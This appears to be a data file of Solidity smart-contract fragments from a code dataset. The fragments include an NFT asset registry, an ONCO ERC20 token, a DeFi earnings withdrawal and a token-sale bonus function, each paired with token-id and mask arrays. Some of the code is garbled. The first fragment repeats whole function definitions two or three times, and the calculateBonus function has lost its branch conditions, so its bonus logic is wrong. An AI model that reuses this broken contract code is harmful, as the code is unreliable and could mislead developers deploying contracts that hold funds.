= 0; i<num; i++) { randomNumbers[i] = base; base = base * 2 ** 3; } return randomNumbers; } function getAsset(uint256 _tokenId) external view returns ( string memory title, address owner, address creator, uint256 currentTokenPrice, uint256 lastPrice, uint256 initialPrice, uint256 lastDate, uint256 createdDate ) { require(exists(_tokenId)); RecordKeeping.priceRecord memory lastPriceRecord = lastPriceRecords[_tokenId]; RecordKeeping.priceRecord memory initialPriceRecord = initialPriceRecords[_tokenId]; return ( tokenTitles[_tokenId], tokenOwner[_tokenId], initialPriceRecord.owner, currentTokenPrices[_tokenId], lastPriceRecord.price, initialPriceRecord.price, lastPriceRecord.timestamp, initialPriceRecord.timestamp ); } function getAssetUpdatedInfo(uint256 _tokenId) external view returns ( address owner, address approvedAddress, uint256 currentTokenPrice, uint256 lastPrice, uint256 lastDate ) { require(exists(_tokenId)); RecordKeeping.priceRecord memory lastPriceRecord = lastPriceRecords[_tokenId]; return ( tokenOwner[_tokenId], tokenApprovals[_tokenId], currentTokenPrices[_tokenId], lastPriceRecord.price, lastPriceRecord.timestamp ); } function getAssetStaticInfo(uint256 _tokenId) external view returns ( string memory title, string memory tokenURI, address creator, uint256 initialPrice, uint256 createdDate ) { require(exists(_tokenId)); RecordKeeping.priceRecord memory initialPriceRecord = initialPriceRecords[_tokenId]; return ( tokenTitles[_tokenId], tokenURIs[_tokenId], initialPriceRecord.owner, initialPriceRecord.price, initialPriceRecord.timestamp ); } function burnExchangeToken(address _tokenOwner, uint256 _tokenId) external { require(msg.sender == stemTokenContractAddress); _burn(_tokenOwner, _tokenId); emit Burn(_tokenOwner, _tokenId); } function findAuctionContractIndex(address _addressToFind) public view returns (int) { for (int i = 0; i < int(auctionContractAddresses.length); i++){ if (auctionContractAddresses[uint256(i)] == _addressToFind){ return i; } } return -1; } function findAuctionContractIndex(address _addressToFind) public view returns (int) { for (int i = 0; i < int(auctionContractAddresses.length); i++){ if (auctionContractAddresses[uint256(i)] == _addressToFind){ return i; } } return -1; } function findAuctionContractIndex(address _addressToFind) public view returns (int) { for (int i = 0; i < int(auctionContractAddresses.length); i++){ if (auctionContractAddresses[uint256(i)] == _addressToFind){ return i; } } return -1; } function addAuctionContractAddress(address _auctionContractAddress) public onlyOwner { require(findAuctionContractIndex(_auctionContractAddress) == -1); auctionContractAddresses.push(_auctionContractAddress); } function removeAuctionContractAddress(address _auctionContractAddress) public onlyOwner { int index = findAuctionContractIndex(_auctionContractAddress); require(index >= 0); for (uint i = uint(index); i < auctionContractAddresses.length-1; i++){ auctionContractAddresses[i] = auctionContractAddresses[i+1]; } auctionContractAddresses.length--; } function removeAuctionContractAddress(address _auctionContractAddress) public onlyOwner { int index = findAuctionContractIndex(_auctionContractAddress); require(index >= 0); for (uint i = uint(index); i < auctionContractAddresses.length-1; i++){ auctionContractAddresses[i] = auctionContractAddresses[i+1]; } auctionContractAddresses.length--; } function setStemTokenContractAddress(address _stemTokenContractAddress) public onlyOwner { stemTokenContractAddress = _stemTokenContractAddress; } function tokenURI(uint256 _tokenId) public view returns (string memory) { require(exists(_tokenId)); return string(abi.encodePacked(uriPrefix, uint256ToString(_tokenId))); } function amountOfZeros(uint256 num, uint256 base) public pure returns(uint256){ uint256 result = 0; num /= base; while (num > 0){ num /= base; result += 1; } return result; } function amountOfZeros(uint256 num, uint256 base) public pure returns(uint256){ uint256 result = 0; num /= base; while (num > 0){ num /= base; result += 1; } return result; } function uint256ToString(uint256 num) public pure returns(string memory){ if (num == 0){ return "0"; } uint256 numLen = amountOfZeros(num, 10) + 1; bytes memory result = new bytes(numLen); while(num != 0){ numLen -= 1; result[numLen] = byte(uint8((num - (num / 10 * 10)) + 48)); num /= 10; } return string(result); } function uint256ToString(uint256 num) public pure returns(string memory){ if (num == 0){ return "0"; } uint256 numLen = amountOfZeros(num, 10) + 1; bytes memory result = new bytes(numLen); while(num != 0){ numLen -= 1; result[numLen] = byte(uint8((num - (num / 10 * 10)) + 48)); num /= 10; } return string(result); } function uint256ToString(uint256 num) public pure returns(string memory){ if (num == 0){ return "0"; } uint256 numLen = amountOfZeros(num, 10) + 1; bytes memory result = new bytes(numLen); while(num != 0){ numLen -= 1; result[numLen] = byte(uint8((num - (num / 10 * 10)) + 48)); num /= 10; } return string(result); } }
1,000,212
[ 1, 2704, 3310, 6205, 10929, 622, 326, 4993, 716, 11383, 635, 326, 2190, 5712, 305, 353, 276, 1077, 11799, 628, 326, 783, 6205, 397, 261, 2972, 6205, 342, 261, 6205, 4993, 225, 2078, 5157, 342, 11816, 4164, 4727, 8623, 799, 3951, 903, 506, 1149, 2423, 309, 279, 450, 7216, 353, 7165, 799, 3951, 353, 326, 16618, 450, 7216, 342, 450, 7216, 1286, 3951, 22221, 316, 10853, 3143, 261, 21, 19, 6625, 434, 279, 5551, 13, 6876, 374, 17, 2163, 16, 3784, 852, 358, 374, 9, 17, 6625, 9, 5787, 1278, 29084, 11622, 434, 326, 1543, 19710, 434, 357, 2456, 434, 487, 278, 22221, 316, 10853, 3143, 261, 21, 19, 6625, 434, 279, 5551, 13, 6876, 374, 17, 2163, 16, 3784, 852, 358, 374, 9, 17, 6625, 9, 14419, 903, 506, 864, 358, 777, 2430, 1298, 1230, 309, 279, 394, 3310, 353, 20598, 18, 5787, 3844, 434, 2078, 5116, 460, 2 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
[ 1, 16351, 17100, 303, 4411, 353, 4232, 39, 27, 5340, 1345, 16, 14223, 6914, 16, 3423, 9446, 429, 16, 4232, 39, 27, 5340, 1190, 1119, 288, 203, 377, 203, 565, 1758, 1071, 13119, 1345, 8924, 1887, 31, 7010, 565, 2254, 5034, 1071, 783, 5147, 31, 203, 565, 2254, 5034, 5381, 1208, 77, 671, 5147, 273, 374, 18, 4630, 225, 2437, 31, 203, 565, 2254, 1071, 6205, 4727, 273, 1728, 31, 203, 565, 2254, 1071, 11816, 4164, 4727, 273, 2371, 31, 203, 565, 2254, 1071, 450, 7216, 799, 3951, 273, 6604, 31, 203, 203, 565, 2254, 1071, 1278, 29084, 799, 3951, 273, 29839, 31, 203, 203, 565, 2254, 1071, 7433, 16397, 273, 29839, 31, 203, 203, 565, 2254, 1071, 7922, 24051, 273, 1728, 31, 203, 203, 565, 533, 1071, 2003, 2244, 273, 3660, 31, 203, 203, 203, 565, 2874, 261, 11890, 5034, 516, 533, 13, 2713, 1147, 25088, 31, 203, 565, 2874, 261, 11890, 5034, 516, 5059, 11523, 310, 18, 8694, 2115, 13, 2713, 2172, 5147, 6499, 31, 203, 565, 2874, 261, 11890, 5034, 516, 5059, 11523, 310, 18, 8694, 2115, 13, 2713, 1142, 5147, 6499, 31, 203, 565, 2874, 261, 11890, 5034, 516, 2254, 5034, 13, 2713, 23719, 31862, 31, 203, 203, 203, 565, 871, 10494, 9988, 1402, 12, 2867, 8808, 389, 8443, 16, 2254, 5034, 8808, 389, 2316, 548, 16, 533, 225, 389, 2649, 16, 2254, 5034, 389, 8694, 1769, 203, 565, 871, 3155, 5147, 694, 12, 11890, 5034, 8808, 389, 2316, 548, 16, 225, 2254, 5034, 389, 8694, 1769, 203, 565, 871, 3155, 2 ]
./partial_match/42/0xd9153c72a6e1f6F362B13b6891B840e99AD46561/sources/NoFiPartyStarter.sol
Calculates if user's share of wETH in the pool is creater than their deposit amts (used for potential earnings) Accounting updates
function withdrawEarnings(address memberAddress, uint256 amount) external nonReentrant { uint256 initialTotalSharesAndLoot = totalShares.add(totalLoot); Member storage member = members[memberAddress]; uint256 sharesM = member.shares; uint256 lootM = member.loot; uint256 sharesAndLootM = sharesM.add(lootM); require(member.exists == true, "not member"); require(address(msg.sender) == memberAddress, "can only be called by member"); uint256 iTBVal = fairShare(userTokenBalances[GUILD][idleToken], sharesAndLootM, initialTotalSharesAndLoot); uint256 iBase = abs(totalDeposits).div(initialTotalSharesAndLoot).mul(sharesAndLootM).add(member.iTW); require(iTBVal.sub(iBase) >= amount, "not enough earnings to redeem this many tokens"); uint256 earningsToUser = subFees(GUILD, amount, address(idleToken)); uint256 redeemedTokens = amount; emit WithdrawEarnings(msg.sender, address(idleToken), earningsToUser, depositToken, redeemedTokens); member.iTW += amount; totalDeposits -= int(amount); unsafeInternalTransfer(GUILD, memberAddress, address(idleToken), earningsToUser); }
8,839,402
[ 1, 10587, 309, 729, 1807, 7433, 434, 341, 1584, 44, 316, 326, 2845, 353, 1519, 2045, 2353, 3675, 443, 1724, 25123, 87, 261, 3668, 364, 8555, 425, 1303, 899, 13, 6590, 310, 4533, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 598, 9446, 41, 1303, 899, 12, 2867, 3140, 1887, 16, 2254, 5034, 3844, 13, 3903, 1661, 426, 8230, 970, 288, 203, 3639, 2254, 5034, 2172, 5269, 24051, 1876, 1504, 352, 273, 2078, 24051, 18, 1289, 12, 4963, 1504, 352, 1769, 203, 540, 203, 3639, 8596, 2502, 3140, 273, 4833, 63, 5990, 1887, 15533, 203, 3639, 2254, 5034, 24123, 49, 273, 3140, 18, 30720, 31, 203, 3639, 2254, 5034, 437, 352, 49, 273, 3140, 18, 383, 352, 31, 203, 3639, 2254, 5034, 24123, 1876, 1504, 352, 49, 273, 24123, 49, 18, 1289, 12, 383, 352, 49, 1769, 203, 540, 203, 3639, 2583, 12, 5990, 18, 1808, 422, 638, 16, 315, 902, 3140, 8863, 203, 3639, 2583, 12, 2867, 12, 3576, 18, 15330, 13, 422, 3140, 1887, 16, 315, 4169, 1338, 506, 2566, 635, 3140, 8863, 203, 203, 3639, 2254, 5034, 277, 25730, 3053, 273, 284, 1826, 9535, 12, 1355, 1345, 38, 26488, 63, 30673, 11382, 6362, 20390, 1345, 6487, 24123, 1876, 1504, 352, 49, 16, 2172, 5269, 24051, 1876, 1504, 352, 1769, 203, 3639, 2254, 5034, 277, 2171, 273, 2417, 12, 4963, 758, 917, 1282, 2934, 2892, 12, 6769, 5269, 24051, 1876, 1504, 352, 2934, 16411, 12, 30720, 1876, 1504, 352, 49, 2934, 1289, 12, 5990, 18, 77, 18869, 1769, 203, 3639, 2583, 12, 77, 25730, 3053, 18, 1717, 12, 77, 2171, 13, 1545, 3844, 16, 315, 902, 7304, 425, 1303, 899, 358, 283, 24903, 333, 4906, 2430, 8863, 203, 540, 203, 3639, 2254, 5034, 425, 1303, 899, 774, 1299, 273, 720, 2954, 2 ]
pragma solidity ^0.4.19; // File: zeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } // File: contracts/Administrable.sol contract Administrable is Ownable { mapping (address => bool) private administrators; uint256 public administratorsLength = 0; /** * @dev Throws if called by any account other than the owner or administrator. */ modifier onlyAdministratorOrOwner() { require(msg.sender == owner || administrators[msg.sender]); _; } function addAdministrator(address _wallet) onlyOwner public { require(!administrators[_wallet]); require(_wallet != address(0) && _wallet != owner); administrators[_wallet] = true; administratorsLength++; } function removeAdministrator(address _wallet) onlyOwner public { require(_wallet != address(0)); require(administrators[_wallet]); administrators[_wallet] = false; administratorsLength--; } function isAdministrator(address _wallet) public constant returns (bool) { return administrators[_wallet]; } } // File: contracts/FreezableToken.sol /** * @title Freezable Token * @dev Token that can be freezed for chosen token holder. */ contract FreezableToken is Administrable { mapping (address => bool) public frozenList; event FrozenFunds(address indexed wallet, bool frozen); /** * @dev Owner can freeze the token balance for chosen token holder. * @param _wallet The address of token holder whose tokens to be frozen. */ function freezeAccount(address _wallet) onlyAdministratorOrOwner public { require(_wallet != address(0)); frozenList[_wallet] = true; FrozenFunds(_wallet, true); } /** * @dev Owner can unfreeze the token balance for chosen token holder. * @param _wallet The address of token holder whose tokens to be unfrozen. */ function unfreezeAccount(address _wallet) onlyAdministratorOrOwner public { require(_wallet != address(0)); frozenList[_wallet] = false; FrozenFunds(_wallet, false); } /** * @dev Check the specified token holder whether his/her token balance is frozen. * @param _wallet The address of token holder to check. */ function isFrozen(address _wallet) constant public returns (bool) { return frozenList[_wallet]; } } // File: zeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } // File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: zeppelin-solidity/contracts/token/ERC20/BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } // File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: zeppelin-solidity/contracts/token/ERC20/StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } // File: contracts/MintableToken.sol /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Administrable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyAdministratorOrOwner canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } } // File: contracts/Pausable.sol /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Administrable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyAdministratorOrOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyAdministratorOrOwner whenPaused public { paused = false; Unpause(); } } // File: zeppelin-solidity/contracts/token/ERC20/BurnableToken.sol /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender&#39;s balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply_ = totalSupply_.sub(_value); Burn(burner, _value); } } // File: contracts/OncoToken.sol contract OncoToken is MintableToken, Pausable, FreezableToken, BurnableToken { string constant public name = "ONCO"; string constant public symbol = "ONCO"; uint8 constant public decimals = 18; /** * @dev Empty OncoToken constructor */ function OncoToken() public {} /** * @dev Transfer token for a specified address with pause and freeze features for owner. * @dev Only applies when the transfer is allowed by the owner. * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) whenNotPaused public returns (bool) { require(!isFrozen(msg.sender)); super.transfer(_to, _value); } /** * @dev Transfer tokens from one address to another with pause and freeze features for owner. * @dev Only applies when the transfer is allowed by the owner. * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) whenNotPaused public returns (bool) { require(!isFrozen(msg.sender)); require(!isFrozen(_from)); super.transferFrom(_from, _to, _value); } }
* @dev called by the owner to unpause, returns to normal state/
function unpause() onlyAdministratorOrOwner whenPaused public { paused = false; Unpause(); }
15,111,959
[ 1, 11777, 635, 326, 3410, 358, 640, 19476, 16, 1135, 358, 2212, 919, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 640, 19476, 1435, 1338, 4446, 14207, 1162, 5541, 1347, 28590, 1071, 288, 203, 3639, 17781, 273, 629, 31, 203, 3639, 1351, 19476, 5621, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x1E36E8F509EEC5b569b62404764009dff0867F88/sources/Vendor.sol
* @notice we get the bonus according to the purchase/ 5% de beneficio 10% de beneficio 15% de beneficio 20% de beneficio 25% de beneficio
function calculateBonus(uint256 tokenAmountToBuy) internal view returns (uint256) { require(tokenAmountToBuy > 0, "must buy some tokens"); uint256 result; if (tokenAmountToBuy <= bonusA) { result = 0; result = (tokenAmountToBuy.mul(5)).div(100); result = (tokenAmountToBuy.mul(10)).div(100); result = (tokenAmountToBuy.mul(15)).div(100); result = (tokenAmountToBuy.mul(20)).div(100); } return result; }
4,959,123
[ 1, 1814, 336, 326, 324, 22889, 4888, 358, 326, 23701, 19, 1381, 9, 443, 27641, 74, 335, 1594, 1728, 9, 443, 27641, 74, 335, 1594, 4711, 9, 443, 27641, 74, 335, 1594, 4200, 9, 443, 27641, 74, 335, 1594, 6969, 9, 443, 27641, 74, 335, 1594, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
